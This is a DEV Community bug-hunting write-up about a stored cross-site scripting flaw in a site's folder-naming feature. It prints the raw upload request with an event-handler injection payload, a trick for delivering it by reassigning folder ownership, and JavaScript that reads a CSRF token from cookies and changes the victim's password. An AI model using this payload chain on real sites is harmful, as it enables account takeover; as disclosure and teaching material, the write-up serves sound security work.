DEV Community

Mohamed Zain
Mohamed Zain

Posted on

From Post to Pwned: How Stored Cross-Site Scripting (Stored XSS) Can Lead to Account Takeover

This is a simple vulnerability, but I still want to write about it, hope it helps.

Let me describe the page that has the bug, the Library Files page.

On the Library Files page, users can create and name folders. The issue is that folder names are stored and rendered as raw HTML, which means an attacker can inject a script into a folder name, and it will execute in the browser of anyone who views the file listing.

However, there’s an additional detail:
If the payload is added only in the folder name, the XSS will not trigger immediately because folder names are not displayed in a way that executes HTML.

But if the attacker uploads a file inside that folder, the system displays the file as a card component, and during this rendering process, the malicious folder name’s HTML is executed, successfully triggering the XSS payload.

POST /libraryFileUpload HTTP/2
Host: www.1337.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundary6ec9465113e39ef56bf3be9b844e7e6c
Content-Length: 1337
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=4
Te: trailers


------geckoformboundary6ec9465113e39ef56bf3be9b844e7e6c
Content-Disposition: form-data; name="theFileSet[]"; filename="Personal.png"
Content-Type: image/png

png
------geckoformboundary6ec9465113e39ef56bf3be9b844e7e6c
Content-Disposition: form-data; name="folder"

xss" onmouseover="alert('xss')" z="
------geckoformboundary6ec9465113e39ef56bf3be9b844e7e6c
Enter fullscreen mode Exit fullscreen mode

In my case, the website filters out any payload that includes HTML tags such as <img>. Since the payload is already injected inside an existing <a> tag without any additional markup from my side, I used an event handler like onmouseover to trigger the XSS.

Bright lights here, dim bulbs there: there’s a feature that lets you reassign ownership of own file to another user in the same group. So an attacker can create a folder with the malicious name, then reassign that folder to a specific target. The payload is delivered straight into the victim’s library guaranteed delivery, no social engineering needed.

If you discover an XSS vulnerability, always try to escalate the severity. Most attackers only write proof of concept with alert(document.cookie), but if the website uses HttpOnly cookies, this won’t work. Instead, you should try performing real actions through the payload, such as changing the user’s email or password, adding a user to a team, or triggering any sensitive operation that the victim is authorized to perform.

I noticed that the password-change request did not require the current password, so I captured that request and embedded it directly into the JS payload. There was one issue, the request included a CSRFToken. However, after analyzing it, I found that the token was taken from the cookies, which makes it easy to access using JS, allowing the payload to bypass the CSRF protection.

function getCookie(name) {
    const value = `; ${document.cookie}`;
    const parts = value.split(`; ${name}=`);
    if (parts.length === 2) return parts.pop().split(';').shift();
    return '';
}


const csrfToken = getCookie('CSRFToken');


const data = new URLSearchParams({
    changingPassword: 'true',
    password: '****',
    password2: '****',
    CSRFToken: csrfToken,
   ''
});

fetch('https://www.1337.com/updateUserProfile', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded; charset=utf-8',
        'X-Requested-With': 'XMLHttpRequest'
    },
    body: data.toString(),
    credentials: 'include'
})
.then(response => response.text())
.then(result => console.log(result))
.catch(error => console.error('Error:', error));
Enter fullscreen mode Exit fullscreen mode

Alhamdulillah, this is how I found an XSS vulnerability in a simple way and successfully completed the process.

Appreciate you reading all the way through. Catch you in the next article!

Top comments (0)

The discussion has been locked. New comments can't be added.